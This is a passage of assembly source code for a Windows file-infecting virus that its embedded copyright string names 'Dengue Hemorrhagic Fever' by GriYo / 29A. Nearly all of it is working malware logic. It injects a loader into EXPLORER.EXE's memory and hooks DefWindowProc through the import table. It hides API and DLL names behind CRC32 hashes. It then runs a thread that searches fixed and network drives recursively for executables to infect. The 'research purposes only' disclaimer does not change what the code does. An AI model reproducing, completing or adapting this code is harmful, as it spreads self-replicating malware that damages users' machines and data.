dword ptr [ebp+hSnapshot] call dword ptr [ebp+a_CloseHandle] push dword ptr [ebp+ProcEth32ProcessID] ;th32ProcessID push TH32CS_SNAPMODULE ;dwFlags call dword ptr [ebp+a_CreateToolhelp32Snapshot] cmp eax,0FFFFFFFFh je ExitMemWin9x mov dword ptr [ebp+hSnapshot],eax ;============================================================ ;Perfect !!!! Lets retrieve 1st module using Module32First ;============================================================ lea edi,dword ptr [ebp+ModuleEntry] push edi ;lpme mov dword ptr [edi],SIZEOFMODULEENTRY push eax ;hSnapshot call dword ptr [ebp+a_Module32First] or eax,eax jz CloseSnapshot ;============================================================ ;Check if this is the module we are interested in ;============================================================ CheckEMod: mov eax,dword ptr [ebp+ProcEth32ModuleID] cmp eax,dword ptr [ebp+ModEth32ModuleID] je GetModDone ;============================================================ ;Go to next module ;============================================================ push edi ;lpme push dword ptr [ebp+hSnapshot] ;hSnapshot call dword ptr [ebp+a_Module32Next] or eax,eax jnz CheckEMod jmp CloseSnapshot ;Abort if module not found ;============================================================ ;Ohj0j0... Fine! Here we are with EXPLORER.EXE module handle ;============================================================ GetModDone: mov edx,dword ptr [ebp+ModEhModule] mov dword ptr [ebp+hModule],edx ;============================================================ ;Open process ;============================================================ mov eax,dword ptr [ebp+ProcEth32ProcessID] call OpenProcess or eax,eax jz CloseSnapshot ;============================================================ ;Duh! EXPLORER.EXE process is now 0wN3d ;============================================================ call FuckExplorer ;============================================================ ;Close process ;============================================================ push dword ptr [ebp+hProcess] call dword ptr [ebp+a_CloseHandle] jmp CloseSnapshot ;============================================================================ ;Residency routines for Windows NT & Windows 2000 ;============================================================================ ;============================================================ ;Hands on USER32 apis for Windows NT (Use wide versions) ;============================================================ MemInfectWinNt: mov eax,dword ptr [ebp+CRCszUSER32] mov ecx,NumUSER32Apis lea esi,dword ptr [ebp+CRC32USER32Apiswnt] lea edi,dword ptr [ebp+epUSER32Apis] call VirLoadLib mov dword ptr [ebp+hUSER32],eax or eax,eax jz GoBack2Host ;============================================================ ;We need PSAPI.DLL to do the trick ;============================================================ mov eax,dword ptr [ebp+CRCszPSAPI] mov ecx,NumPSAPIApis lea esi,dword ptr [ebp+CRC32PSAPIApis] lea edi,dword ptr [ebp+epPSAPIApis] call VirLoadLib mov dword ptr [ebp+hPSAPI],eax or eax,eax jz FreeUSER32 ;============================================================ ;Get a list of loaded processes (Max. 32 processes) ;============================================================ DonePSAPI: lea edi,dword ptr [ebp+EP_Bytes] push edi ;cbNeeded push 00000080h ;cb lea esi,dword ptr [ebp+ProcessIdList] push esi call dword ptr [ebp+a_EnumProcesses] or eax,eax jz ExitMemNt ;============================================================ ;To determine how many processes were enumerated by the call ;to EnumProcesses, divide the resulting value in the cbNeeded ;parameter by sizeof(DWORD) ;============================================================ mov ecx,dword ptr [edi] shr ecx,02h ;Divide ECX by 4... Nice, isnt it? jecxz ExitMemNt ;============================================================ ;Now we have a list of process identifiers... Follow it ;============================================================ ProcessLookUp: push ecx cld lodsd push esi ;============================================================ ;Open process ;============================================================ call OpenProcess or eax,eax jz TryNextProcess ;============================================================ ;Enumerate process modules... The 1st obtained module ;is the executable itself ;============================================================ lea edx,dword ptr [ebp+EP_Bytes] ;lpcbNeeded push edx push 00000080h ;cb lea esi,dword ptr [ebp+ModuleList] push esi ;lphModule push eax ;hProcess call dword ptr [ebp+a_EnumProcessModules] or eax,eax jz NCProcess cld lodsd ;The first module is the .EXE itself mov dword ptr [ebp+hModule],eax ;============================================================ ;Get module name using GetModuleBaseNameA API ;============================================================ push MAX_PATH ;nSize lea esi,dword ptr [ebp+BufStrFilename] push esi ;lpBaseName push eax ;hModule push dword ptr [ebp+hProcess] ;hProcess call dword ptr [ebp+a_GetModuleBaseNameA] or eax,eax jz NCProcess ;============================================================ ;Module name is EXPLORER.EXE (use CRC32 comparison) ;============================================================ mov edi,esi call parse_filename mov esi,edx call get_str_crc32 cmp edx,dword ptr [ebp+CRCszEXPLORER] ;Is EXPLORER.EXE ? jne NCProcess ;============================================================ ;If EXPLORER.EXE found cleanup and go to the memory ;infection procedure ;============================================================ pop eax pop eax call FuckExplorer ;============================================================ ;Close process ;============================================================ push dword ptr [ebp+hProcess] call dword ptr [ebp+a_CloseHandle] jmp ExitMemNt ;============================================================ ;Try next process ;============================================================ NCProcess: push dword ptr [ebp+hProcess] call dword ptr [ebp+a_CloseHandle] TryNextProcess: pop esi pop ecx loop ProcessLookUp ;============================================================ ;Residency proc failed! ;============================================================ ExitMemNt: push dword ptr [ebp+hPSAPI] call dword ptr [ebp+a_FreeLibrary] jmp FreeUSER32 ;============================================================================ ;Open process ; ;On entry: ; eax -> Process id ;On exit: ; eax -> Handle to process or NULL if error ;============================================================================ PROCESS_TERMINATE equ 00000001h PROCESS_CREATE_THREAD equ 00000002h PROCESS_SET_SESSIONID equ 00000004h PROCESS_VM_OPERATION equ 00000008h PROCESS_VM_READ equ 00000010h PROCESS_VM_WRITE equ 00000020h PROCESS_DUP_HANDLE equ 00000040h PROCESS_CREATE_PROCESS equ 00000080h PROCESS_SET_QUOTA equ 00000100h PROCESS_SET_INFORMATION equ 00000200h PROCESS_QUERY_INFORMATION equ 00000400h OpenProcess: push eax push 00000000h push PROCESS_QUERY_INFORMATION or \ PROCESS_VM_READ or \ PROCESS_VM_WRITE or \ PROCESS_VM_OPERATION call dword ptr [ebp+a_OpenProcess] mov dword ptr [ebp+hProcess],eax ret ;============================================================================ ;Infect EXPLORER.EXE in memory ;============================================================================ ;============================================================ ;Now search for the section header list ;============================================================ FuckExplorer: mov ebx,dword ptr [ebp+hModule] mov ecx,00000004h lea esi,dword ptr [ebp+Explorer_MZ_lfanew] mov eax,ebx add eax,MZ_lfanew call ReadProcessMem or eax,eax jz FE_Exit lodsd ;There is a CLD at the end of ReadProcessMem or eax,eax ;Now esi -> Explorer_FH_SizeOfOptionalHeader jz FE_Exit ; eax -> MZ_lfanew add eax,ebx mov edi,eax add eax,00000004h + FH_SizeOfOptionalHeader dec ecx dec ecx call ReadProcessMem or eax,eax jz FE_Exit lodsw ;Just to do ;esi -> Explorer_FH_NumberOfSections mov eax,edi add eax,00000004h + FH_NumberOfSections call ReadProcessMem or eax,eax jz FE_Exit lodsw ;esi -> Explorer_SectionHeader movzx ecx,ax ;ecx -> Number of sections movzx eax,word ptr [ebp+Explorer_FH_SizeOfOptionalHeader] add edi,eax add edi,00000004h + IMAGE_SIZEOF_FILE_HEADER ;============================================================ ;Search for a suitable section ;============================================================ ExplorerHole: push ecx mov eax,edi mov ecx,IMAGE_SIZEOF_SECTION_HEADER call ReadProcessMem or eax,eax jz E_NextSection ;============================================================ ;Is this a valid section? ;============================================================ cmp dword ptr [esi+SH_Characteristics], \ IMAGE_SCN_MEM_READ or \ IMAGE_SCN_MEM_WRITE or \ IMAGE_SCN_CNT_INITIALIZED_DATA jne E_NextSection mov eax,dword ptr [esi+SH_SizeOfRawData] sub eax,dword ptr [esi+SH_VirtualSize] js E_NextSection cmp eax,SIZEOF_EVL jae Ok_E_Section ;============================================================ ;Try next section ;============================================================ E_NextSection: add edi,ecx pop ecx loop ExplorerHole ;============================================================ ;No suitable section found ;============================================================ jmp FE_Exit ;============================================================ ;Yes, this is a valid section... Write virus loader ;============================================================ Ok_E_Section: pop ecx ;Cleanup stack mov eax,dword ptr [ebp+a_DefWindowProc] mov dword ptr [ebp+EVL_a_OrginalApiAddr],eax mov eax,dword ptr [ebp+a_OpenFileMappingA] mov dword ptr [ebp+EVL_a_OpenFileMapping],eax mov eax,dword ptr [ebp+a_MapViewOfFile] mov dword ptr [ebp+EVL_a_MapViewOfFile],eax mov eax,ebx add eax,dword ptr [esi+SH_VirtualAddress] add eax,dword ptr [esi+SH_VirtualSize] mov dword ptr [ebp+Explorer_Patch],eax mov ecx,SIZEOF_EVL lea esi,dword ptr [ebp+EVL_code] call WriteProcessMem or eax,eax jz FE_Exit ;============================================================ ;Go to EXPLORER.EXE data directory ;============================================================ mov eax,ebx add eax,dword ptr [ebp+Explorer_MZ_lfanew] add eax,00000004h + \ IMAGE_SIZEOF_FILE_HEADER + \ OH_DataDirectory.DE_Import.DD_VirtualAddress mov ecx,00000004h lea esi,dword ptr [ebp+Explorer_DE_Import] call ReadProcessMem or eax,eax jz FE_Exit ;============================================================ ;Search for USER32 import module descriptor ;============================================================ lodsd add eax,ebx mov edi,eax E_Search_K32: mov eax,edi mov ecx,IMAGE_SIZEOF_IMPORT_DESCRIPTOR lea esi,dword ptr [ebp+Explorer_ImportDescriptor] call ReadProcessMem or eax,eax jz FE_Exit ;============================================================ ;Last import module descriptor!? ;============================================================ cmp dword ptr [esi],00000000h je FE_Exit ;============================================================ ;Check import module descriptor ID_Name ;============================================================ mov eax,ebx add eax,dword ptr [esi+ID_Name] mov ecx,00000010h lea esi,dword ptr [ebp+Explorer_ID_Name] call ReadProcessMem or eax,eax jz FE_Exit push edi lea edi,dword ptr [ebp+BufStrFilename] call parse_filename mov esi,edx call get_str_crc32 pop edi cmp edx,dword ptr [ebp+CRCszUSER32] ;Is USER32.DLL ? je E_Found_K32 ;============================================================ ;Next import module descriptor ;============================================================ add edi,IMAGE_SIZEOF_IMPORT_DESCRIPTOR jmp E_Search_K32 ;============================================================ ;USER32.DLL import module descriptor found ;============================================================ E_Found_K32: mov edi,dword ptr [ebp+ \ Explorer_ImportDescriptor+ \ ID_FirstThunk] add edi,ebx mov ecx,00000004h lea esi,dword ptr [ebp+Explorer_Hook] E_NextThunk: mov eax,edi call ReadProcessMem or eax,eax jz FE_Exit mov eax,dword ptr [esi] or eax,eax jz FE_Exit cmp eax,dword ptr [ebp+a_DefWindowProc] je E_Poison add edi,ecx jmp E_NextThunk ;============================================================ ;Gotcha! ;============================================================ E_Poison: mov eax,edi mov dword ptr [ebp+Explorer_Init_Hook],eax lea esi,dword ptr [ebp+Explorer_Patch] call WriteProcessMem ; ECX already loaded or eax,eax jz FE_Exit ;============================================================ ;Done!!!! ieieie!!!! ;============================================================ FE_Exit: ret ;============================================================================ ;Code injected into EXPLORER.EXE ; ;The purpose of this code is to get access to virus memory from EXPLORER.EXE ;============================================================================ EVL_code equ $ ;============================================================ ;Let some space for the return address... then save all regs ;============================================================ push eax pushad ;============================================================ ;This is the original address of the API... Lets make the ;return address point to it ;============================================================ db 0B8h ; EAX -> Original API address EVL_a_OrginalApiAddr dd 00000000h mov dword ptr [esp+cPushad],eax ;============================================================ ;Attempt to avoid reentrance problems ;============================================================ call MultiThreadSafe db 00h ;Only changed over hook code, not over main virus body MultiThreadSafe:pop esi mov edi,esi cld lodsb or al,al jnz MayBeOnNextCall dec al stosb ;============================================================ ;Try to open the virus file-mapping ; ;There is some kinda race condition here... If the infected ;program terminates before this point we wont be able to ;find the rest of the virus in memory... ; ;In that case the hook will stay present, and this code may ;be able to find the virus memory-mapping on next attemps ;============================================================ call GetszObjName ;lpName szObjectName db 10h dup (00h) GetszObjName: push 00000000h ;bInheritHandle mov edi,FILE_MAP_WRITE push edi ;dwDesiredAccess db 0B8h ; EAX -> OpenFileMappingA EVL_a_OpenFileMapping dd 00000000h call eax or eax,eax jz MayBeOnNextCall ;============================================================ ;The file-mapping is here... Get an image of it ;============================================================ xor edx,edx push edx push edx push edx push edi push eax db 0B8h ; EAX -> OpenFileMappingA EVL_a_MapViewOfFile dd 00000000h call eax or eax,eax jz MayBeOnNextCall ;============================================================ ;Great! We have access to virus allocated memory, but ;remember we are now inside EXPLORER.EXE !!!! ; ;Jump to virus complete image in order to complete ;initialization inside EXPLORER.EXE ;============================================================ add eax,offset ExplorerInit - offset viro_sys call eax ;============================================================ ;Restore regs and jump to original API code ;============================================================ MayBeOnNextCall:popad ret SIZEOF_EVL equ $-EVL_code ;============================================================================ ;Read process memory routine ; ;On entry: ; eax -> Pointer to the base address from which to read ; ecx -> Specifies the requested number of bytes to read ; esi -> Pointer to a buffer that receives the contents from ; the address address ; ; [ebp+hProcess] contains the target process handle ; ;On exit: ; eax -> NULL if error ; ; ebx, ecx, esi, edi, ebp preserved ;============================================================================ ReadProcessMem: push edi push ecx lea edi,dword ptr [ebp+EP_Bytes] ;lpNumberOfBytesRead push edi push ecx ;nSize push esi ;lpBuffer push eax ;lpBaseAddress push dword ptr [ebp+hProcess] ;hProcess call dword ptr [ebp+a_ReadProcessMemory] pop ecx or eax,eax jz ExitREM cmp dword ptr [edi],ecx je ExitREM xor eax,eax ExitREM: pop edi cld ret ;============================================================================ ;Write process memory routine ; ;On entry: ; eax -> Pointer to the base address in the specified process ; to which data will be written ; ecx -> Specifies the number of bytes to write ; esi -> Pointer to the buffer that contains data to be written ; ; [ebp+hProcess] contains the target process handle ; ;On exit: ; eax -> NULL if error ; ; ebx, ecx, esi, edi, ebp preserved ;============================================================================ WriteProcessMem:push edi push ecx lea edi,dword ptr [ebp+EP_Bytes] ;lpNumberOfBytesWritten push edi push ecx ;nSize push esi ;lpBuffer push eax ;lpBaseAddress push dword ptr [ebp+hProcess] ;hProcess call dword ptr [ebp+a_WriteProcessMemory] pop ecx or eax,eax jz ExitWEM cmp dword ptr [edi],ecx je ExitWEM xor eax,eax ExitWEM: pop edi cld ret ;============================================================================ ;Make crc lookup table ; ;Generate a table for a byte-wise 32-bit CRC calculation on the polynomial: ;x^32+x^26+x^23+x^22+x^16+x^12+x^11+x^10+x^8+x^7+x^5+x^4+x^2+x+1. ; ;Polynomials over GF(2) are represented in binary, one bit per coefficient, ;with the lowest powers in the most significant bit. Then adding polynomials ;is just exclusive-or, and multiplying a polynomial by x is a right shift by ;one. If we call the above polynomial p, and represent a byte as the ;polynomial q, also with the lowest power in the most significant bit (so the ;byte 0xb1 is the polynomial x^7+x^3+x+1), then the CRC is (q*x^32) mod p, ;where a mod b means the remainder after dividing a by b. ; ;This calculation is done using the shift-register method of multiplying and ;taking the remainder. The register is initialized to zero, and for each ;incoming bit, x^32 is added mod p to the register if the bit is a one (where ;x^32 mod p is p+x^32 = x^26+...+1), and the register is multiplied mod p by ;x (which is shifting right by one and adding x^32 mod p if the bit shifted ;out is a one). We start with the highest power (least significant bit) of ;q and repeat for all eight bits of q. ; ;The table is simply the CRC of all possible eight bit values. This is all ;the information needed to generate CRC's on data a byte at a time for all ;combinations of CRC register values and incoming bytes. ; ;Original C code by Mark Adler ;Translated to asm for Win32 by GriYo ;============================================================================ make_crc_tbl: ;============================================================================ ;Make exclusive-or pattern from polynomial (0EDB88320h) ; ;The following commented code is an example of how to ;make the exclusive-or pattern from polynomial ;at runtime ; ; xor edx,edx ; mov ecx,0000000Eh ; lea ebx,dword ptr [ebp+tbl_terms] ;calc_poly: mov eax,ecx ; xlatb ; sub eax,0000001Fh ; neg eax ; bts edx,eax ; loop calc_poly ; ; edx contains now the exclusive-or pattern ; ; The polynomial is: ; ; X^32+X^26+X^23+X^22+X^16+X^12+X^11+X^10+X^8+X^7+X^5+X^4+X^2+X^1+X^0 ; ;tbl_terms db 0,1,2,4,5,7,8,10,11,12,16,22,23,26 ; ;============================================================================ cld mov ecx,00000100h lea edi,dword ptr [ebp+tbl_crc32] crc_tbl_do: mov eax,000000FFh sub eax,ecx push ecx mov ecx,00000008h make_crc_value: shr eax,01h jnc next_value xor eax,0EDB88320h next_value: loop make_crc_value pop ecx stosd loop crc_tbl_do ret ;============================================================================ ;Return a 32bit CRC of the contents of the buffer ; ;On entry: ; esi -> Ptr to buffer ; ecx -> Buffer size ;On exit: ; edx -> 32bit CRC ;============================================================================ get_crc32: cld push edi xor edx,edx lea edi,dword ptr [ebp+tbl_crc32] crc_calc: push ecx lodsb xor eax,edx and eax,000000FFh shr edx,08h xor edx,dword ptr [edi+eax] pop ecx loop crc_calc pop edi ret ;============================================================================ ;Get a 32bit CRC of a null terminated array ; ;On entry: ; esi -> Ptr to string ;Exit: ; edx -> 32bit CRC ;============================================================================ get_str_crc32: cld push ecx push edi mov edi,esi xor eax,eax mov ecx,eax crc_sz: inc ecx scasb jnz crc_sz call get_crc32 pop edi pop ecx ret ;============================================================================ ;Get the entry-point of GetProcAddress ; ;On entry: ; ebx -> KERNELL32 base address ;On exit: ; ecx -> Address of GetProcAddress ;============================================================================ GetGetProcAddr: cld mov eax,dword ptr [ebx+IMAGE_DOS_HEADER.MZ_lfanew] mov edx,dword ptr [eax+ \ ebx+ \ NT_OptionalHeader. \ OH_DirectoryEntries. \ DE_Export. \ DD_VirtualAddress] add edx,ebx mov esi,dword ptr [edx+ED_AddressOfNames] add esi,ebx mov edi,dword ptr [edx+ED_AddressOfNameOrdinals] add edi,ebx mov ecx,dword ptr [edx+ED_NumberOfNames] function_loop: lodsd push edx push esi lea esi,dword ptr [eax+ebx] ;Get ptr to API name call get_str_crc32 ;Get CRC32 of API name pop esi cmp edx,dword ptr [ebp+CrcGetProcAddr] je API_found inc edi inc edi pop edx loop function_loop ret API_found: pop edx movzx eax,word ptr [edi] sub eax,dword ptr [edx+ED_BaseOrdinal] inc eax shl eax,02h mov esi,dword ptr [edx+ED_AddressOfFunctions] add esi,eax add esi,ebx lodsd lea ecx,dword ptr [eax+ebx] ret ;============================================================================ ;Get the entry-point of each needed API ; ;This routine uses the CRC32 instead of API names ; ;On entry: ; ebx -> Base address of DLL ; ecx -> Number of APIs in the folling buffer ; esi -> Buffer filled with the CRC32 of each API name ; edi -> Recives found API addresses ;On exit: ; ecx -> Is 00000000h if everything was ok ;============================================================================ get_APIs: cld get_each_API: push ecx push esi ;============================================================ ;Get a pointer to the EXPORT data ;============================================================ mov eax,dword ptr [ebx+IMAGE_DOS_HEADER.MZ_lfanew] mov edx,dword ptr [eax+ \ ebx+ \ NT_OptionalHeader. \ OH_DirectoryEntries. \ DE_Export. \ DD_VirtualAddress] add edx,ebx mov esi,dword ptr [edx+ED_AddressOfNames] add esi,ebx mov ecx,dword ptr [edx+ED_NumberOfNames] ;============================================================ ;Try to find an API name that matches given CRC32 ;============================================================ API_Loop: lodsd push esi ;Ptr to AddressOfNames lea esi,dword ptr [eax+ebx] push esi ;Save ptr to API name call get_str_crc32 mov esi,dword ptr [esp+00000008h] lodsd cmp eax,edx je CRC_API_found pop eax ;Remove API name from stack pop esi ;Ptr to RVA for next API name loop API_Loop get_API_error: pop esi ;Ptr to CRC's of API names pop ecx ;Number of API's ret ;Exit with error (ecx!=NULL) ;============================================================ ;The ptr to API name is already on stack, now push the ;module handle and call GetProcAddress ;============================================================ CRC_API_found: push ebx call dword ptr [ebp+a_GetProcAddress] cld ;Dont let the API call change this pop edx ;Remove ptr to RVA for next name or eax,eax jz get_API_error;If GetProcAddress returned NULL exit stosd ;Save the API address into given table pop esi ;Ptr to CRC's of API names lodsd pop ecx loop get_each_API ret ;============================================================================ ;Find base address of KERNEL32.DLL ;Thanks to Jacky Qwerty for the SEH routines ;============================================================================ SEH_Block_0000 macro add esp,-cPushad jnz GNtBA_L1 endm IGetNtBaseAddr: @SEH_SetupFrame mov ecx,edx xchg ax,cx GNtBA_L0: dec cx jz GNtBA_L2 add eax,-10000h pushad mov bx,-IMAGE_DOS_SIGNATURE add bx,word ptr [eax] mov esi,eax jnz GNtBA_L1 mov ebx,-IMAGE_NT_SIGNATURE add eax,dword ptr [esi.MZ_lfanew] mov edx,esi add ebx,dword ptr [eax] jnz GNtBA_L1 add edx,[eax.NT_OptionalHeader.OH_DirectoryEntries. \ DE_Export.DD_VirtualAddress] add esi,dword ptr [edx.ED_Name] lea edi,dword ptr [ebp+BufStrFilename] call parse_filename mov esi,edx call get_str_crc32 cmp edx,dword ptr [ebp+CrcKernel32] ;Is KERNEL32.DLL ? je k32_f GNtBA_L1: popad jmp GNtBA_L0 k32_f: popad xchg ecx,eax inc eax GNtBA_L2: @SEH_RemoveFrame ret ;============================================================================ ;VirLoadLib ; ;To use CRC32 instead of API names sounds cool... But there are still some ;strings authors cant get rid of... When calling LoadLibrary the virus must ;specify the DLL name ; ;This routine is the solution to avoid the usage of DLL names ; ;On entry: ; eax -> CRC32 of DLL name ; esi -> CRC32 of API names ; edi -> Where to put API addresses ; ecx -> Number of APIs to find ;On exit: ; eax -> Module handle or NULL on error ;============================================================================ VirLoadLib: push ecx push esi push edi mov dword ptr [ebp+a_SDLL_CRC32],eax lea eax,dword ptr [ebp+DirectFindData] push eax ;lpFindFileData lea eax,dword ptr [ebp+szSYSTEMDIR] ;lpFileName push eax call dword ptr [ebp+a_FindFirstFileA] cmp eax,INVALID_HANDLE_VALUE jz EVirLoadLib mov dword ptr [ebp+h_Find],eax CheckDllName: lea esi,dword ptr [ebp+DirectFindData+WFD_szFileName] lea edi,dword ptr [ebp+BufStrFilename] call parse_filename mov esi,edx call get_str_crc32 cmp edx,dword ptr [ebp+a_SDLL_CRC32] je OkCheckDll lea eax,dword ptr [ebp+DirectFindData] push eax ;lpFindFileData push dword ptr [ebp+h_Find] ;hFindFile call dword ptr [ebp+a_FindNextFileA] or eax,eax jnz CheckDllName EVirLoadLib: pop edi pop esi pop ecx xor eax,eax ret OkCheckDll: lea esi,dword ptr [ebp+szSYSTEMDIR] lea edi,dword ptr [ebp+BufStrFilename] push edi call parse_filename lea esi,dword ptr [ebp+DirectFindData+WFD_szFileName] mov edi,edx call parse_filename call dword ptr [ebp+a_LoadLibraryA] or eax,eax jz EVirLoadLib mov ebx,eax pop edi pop esi pop ecx call get_APIs jecxz OkVirLoadLib push ebx call dword ptr [ebp+a_FreeLibrary] xor eax,eax ret OkVirLoadLib: mov eax,ebx ret ;============================================================================ ;This routine takes a string pointed by esi and copies ;it into a buffer pointed by edi ; ;The result string will be converted to upper-case ; ;On entry: ; esi -> Pointer to source string ; edi -> Pointer to returned string ; ;On exit: ; al -> Null ; edx -> Points to character next to last \ ; edi -> Points 1byte above the null terminator ;============================================================================ parse_filename: mov edx,edi cld ScanZstring: lodsb cmp al,"a" jb no_upper cmp al,"z" ja no_upper and al,0DFh no_upper: stosb cmp al,"\" jne err_slash_pos mov edx,edi err_slash_pos: or al,al jnz ScanZstring ret ;============================================================================ ;Copyright notice and disclaimer ;============================================================================ copyright db '[ Dengue Hemorrhagic Fever' db ' BioCoded by GriYo / 29A ]' disclaimer db ' Disclaimer: This software has been designed' db ' for research purposes only. The author is' db ' not responsible for any problems caused due to' db ' improper or illegal usage of it ' ;============================================================================ ;Virus initialization ( inside EXPLORER.EXE ) ;============================================================================ ExplorerInit: call ExplorerDelta ExplorerDelta: pop ebp sub ebp,offset ExplorerDelta ;============================================================ ;Get current local time ;============================================================ FreeExplorerOk: lea esi,dword ptr [ebp+local_time] push esi call dword ptr [ebp+a_GetLocalTime] ;============================================================ ;Initialize random number generator seed using current ;year and current month ;============================================================ cld lodsw rol eax,10h lodsw mov dword ptr [ebp+rnd32_seed],eax ;============================================================ ;Locate KERNEL32 code section in memory... This information ;will be used later in the EPO routines ;============================================================ mov ebx,dword ptr [ebp+hKERNEL32] call get_code_sh mov eax,dword ptr [edi+SH_VirtualAddress] add eax,ebx mov dword ptr [ebp+K32CodeStart],eax add eax,dword ptr [edi+SH_VirtualSize] mov dword ptr [ebp+K32CodeEnd],eax ;============================================================ ;Sleep for a moment, before start making noise ;============================================================ push 00005000h call dword ptr [ebp+a_Sleep] ;============================================================ ;Load IMAGEHLP.DLL ; ;The ImageHlp functions are supported by the Microsoft ;Windows NT, Windows 95, and Windows 98 operating systems... ;They are used mostly by programming tools, application setup ;utilities, and other programs that need access to the data ;contained in a PE image ;============================================================ mov eax,dword ptr [ebp+CRCszIMGHLP] mov ecx,NumIMGHLPApis lea esi,dword ptr [ebp+CRC32IMGHLPApis] lea edi,dword ptr [ebp+epIMGHLPApis] call VirLoadLib mov dword ptr [ebp+hIMGHLP],eax ;============================================================ ;Load SFC.DLL (Windows 2000 only) ;============================================================ mov dword ptr [ebp+hSFC],00000000h cmp dword ptr [ebp+dwMajorVersion],00000005h jb Ready2Infect mov eax,dword ptr [ebp+CRCszSFC] mov ecx,NumSFCApis lea esi,dword ptr [ebp+CRC32SFCApis] lea edi,dword ptr [ebp+epSFCApis] call VirLoadLib mov dword ptr [ebp+hSFC],eax ;============================================================ ;Initialization inside EXPLORER.EXE complete... ; ;Now create a thread to search for files to infect and ;get control back to EXPLORER.EXE ;============================================================ Ready2Infect: lea eax,dword ptr [ebp+IF_ThreadID] push eax ;lpThreadId xor edx,edx push edx ;dwCreationFlags push edx ;lpParameter lea eax,dword ptr [ebp+InfectionThread] push eax ;lpStartAddress push edx ;dwStackSize push edx ;lpThreadAttributes call dword ptr [ebp+a_CreateThread] or eax,eax jz AfterThread ret ; Let the thread running until terminates ;============================================================ ;Free SFC ;============================================================ AfterThread: mov eax,dword ptr [ebp+hSFC] or eax,eax jz SfcNotLoaded push eax call dword ptr [ebp+a_FreeLibrary] ;============================================================ ;Free IMAGEHLP ;============================================================ SfcNotLoaded: mov eax,dword ptr [ebp+hIMGHLP] or eax,eax jz ExitIThread push eax call dword ptr [ebp+a_FreeLibrary] ret ;============================================================================ ;Virus infection thread, created from inside EXPLORER.EXE process ;============================================================================ InfectionThread:call ThreadDelta ThreadDelta: pop ebp sub ebp,offset ThreadDelta lea esi,dword ptr [ebp+szLogicalDrives] mov edi,SIZEOF_LDSB push esi push edi call dword ptr [ebp+a_GetLogicalDriveStringsA] or eax,eax jz ExitIThread cmp eax,edi ja ExitIThread ;============================================================ ;Follow the drives chain ;============================================================ DrivesLoop: cmp byte ptr [esi],00h jnz MoreDrives ;============================================================ ;Terminate infection thread ;============================================================ ExitIThread: call AfterThread push 00000000h call dword ptr [ebp+a_ExitThread] ;Leave the thread ;============================================================ ;Check drive type, only fixed or remote drives allowed ;============================================================ MoreDrives: push esi call dword ptr [ebp+a_GetDriveTypeA] cmp eax,00000003h ; DRIVE_FIXED je CheckThisDrive cmp eax,00000004 ; DRIVE_REMOTE jne NextDrive ;============================================================ ;Got it! Do recursive search on drive ;============================================================ CheckThisDrive: push esi lea edi,dword ptr [ebp+BufGetDir] push edi call parse_filename call Search4Files pop edi pop esi NextDrive: cld NextDString: lodsb or al,al jnz NextDString jmp DrivesLoop ;============================================================================ ;Search for target... ; ;This routine its able to call itself in order to perform a recursive ;search all along the entire directory tree ; ;============================================================================ ;============================================================ ;Store local information on the stack ;============================================================ Search4Files: sub esp,SIZEOF_WIN32_FIND_DATA + 00000004h mov ebx,esp ;Find frame: ; ; Path where to perform search ( size MAX_PATH ) ; Return address ( size DWORD ) ; FindHandle ( size DWORD ) ; Find data ( size SIZEOF_WIN32_FIND_DATA ) FindStack_Ptr2FindData equ 00000000h FindStack_Ptr2FindHandle equ SIZEOF_WIN32_FIND_DATA FindStack_Ptr2ReturnAddress equ SIZEOF_WIN32_FIND_DATA + 00000004h FindStack_Ptr2SearchPath equ SIZEOF_WIN32_FIND_DATA + 00000008h ;============================================================ ;Do FindFirstFile ;============================================================ push ebx ; lpFindFileData mov esi,dword ptr [ebx+FindStack_Ptr2SearchPath] mov edi,esi push edi ; lpFileName call parse_filename dec edi cmp byte ptr [edi-00000001h],'\' jne RootAware dec edi RootAware: mov eax,'*.*\' stosd xor eax,eax stosb call dword ptr [ebp+a_FindFirstFileA] cmp eax,INVALID_HANDLE_VALUE je ErrorFindFirst mov dword ptr [ebx+FindStack_Ptr2FindHandle],eax ;============================================================ ;Find data ready to be checked ;============================================================ GoFindRecord: lea esi,dword ptr [ebx+WFD_szFileName] cld lodsd ;============================================================ ;Check for . and .. ;============================================================ cmp ax,002Eh je DoFindNext and eax,00FFFFFFh cmp eax,00002E2Eh je DoFindNext ;============================================================ ;Check if this is a directory ;============================================================ mov eax,dword ptr [ebx] test eax,FILE_ATTRIBUTE_DIRECTORY jz DoFileFound ;============================================================ ;Directory found, perform recursive search on it ;============================================================ push ebx mov esi,dword ptr [ebx+FindStack_Ptr2SearchPath] sub esp,MAX_PATH mov edi,esp push edi call parse_filename lea esi,dword ptr [ebx+WFD_szFileName] mov edi,edx call parse_filename call Search4Files pop edi add esp,MAX_PATH pop ebx jmp DoFindNext ;============================================================ ;File found, check if its a valid host ;============================================================ DoFileFound: and eax,FILE_ATTRIBUTE_DIRECTORY or \ FILE_ATTRIBUTE_COMPRESSED or \ FILE_ATTRIBUTE_SYSTEM jnz DoFindNext ;============================================================ ;Save file time ;============================================================ cld lea esi,dword ptr [ebx+WFD_ftCreationTime] lea edi,dword ptr [ebp+FT_CreationTime] movsd ; ftCreationTime ( dwLowDateTime ) movsd ; ftCreationTime ( dwHighDateTime ) movsd ; ftLastAccessTime ( dwLowDateTime ) movsd ; ftLastAccessTime ( dwHighDateTime ) movsd ; ftLastWriteTime ( dwLowDateTime ) movsd ; ftLastWriteTime ( dwHighDateTime ) ;============================================================ ;Check if file size is allowed ;============================================================ lodsd ; EDI points to WFD_nFileSizeHigh or eax,eax jnz DoFindNext lodsd cmp eax,0FFFFFFFFh- \ (size_virtual+(NUMBER_OF_POLY_LAYERS*00004000h)) jae DoFindNext cmp eax,inf_size jbe DoFindNext ;============================================================ ;Save the file size for l8r use ;============================================================ mov dword ptr [ebp+FileSizeOnDisk],eax ;============================================================ ;Check if file is already infected, using size padding ;============================================================ SIZE_PADDING equ 00000065h mov ecx,SIZE_PADDING xor edx,edx div ecx or edx,edx jz DoFindNext ;============================================================ ;Get complete path + filename and convert it to upper case ;============================================================ mov esi,dword ptr [ebx+FindStack_Ptr2SearchPath] lea edi,dword ptr [ebp+BufStrFilename] call parse_filename lea esi,dword ptr [ebx+WFD_szFileName] mov edi,edx call parse_filename ; al -> Null ; edx -> Points to filename at the end of path ; edi -> Points 1byte above the null terminator ;============================================================ ;Check file extension ;============================================================ lea esi,dword ptr [edi-00000005h] call get_str_crc32 lea esi,dword ptr [ebp+TblCRC32szEXT] mov ecx,NumberOfExt CheckExtLoop: lodsd sub eax,edx jnz NoInterested ;============================================================ ;Extension match... Infect 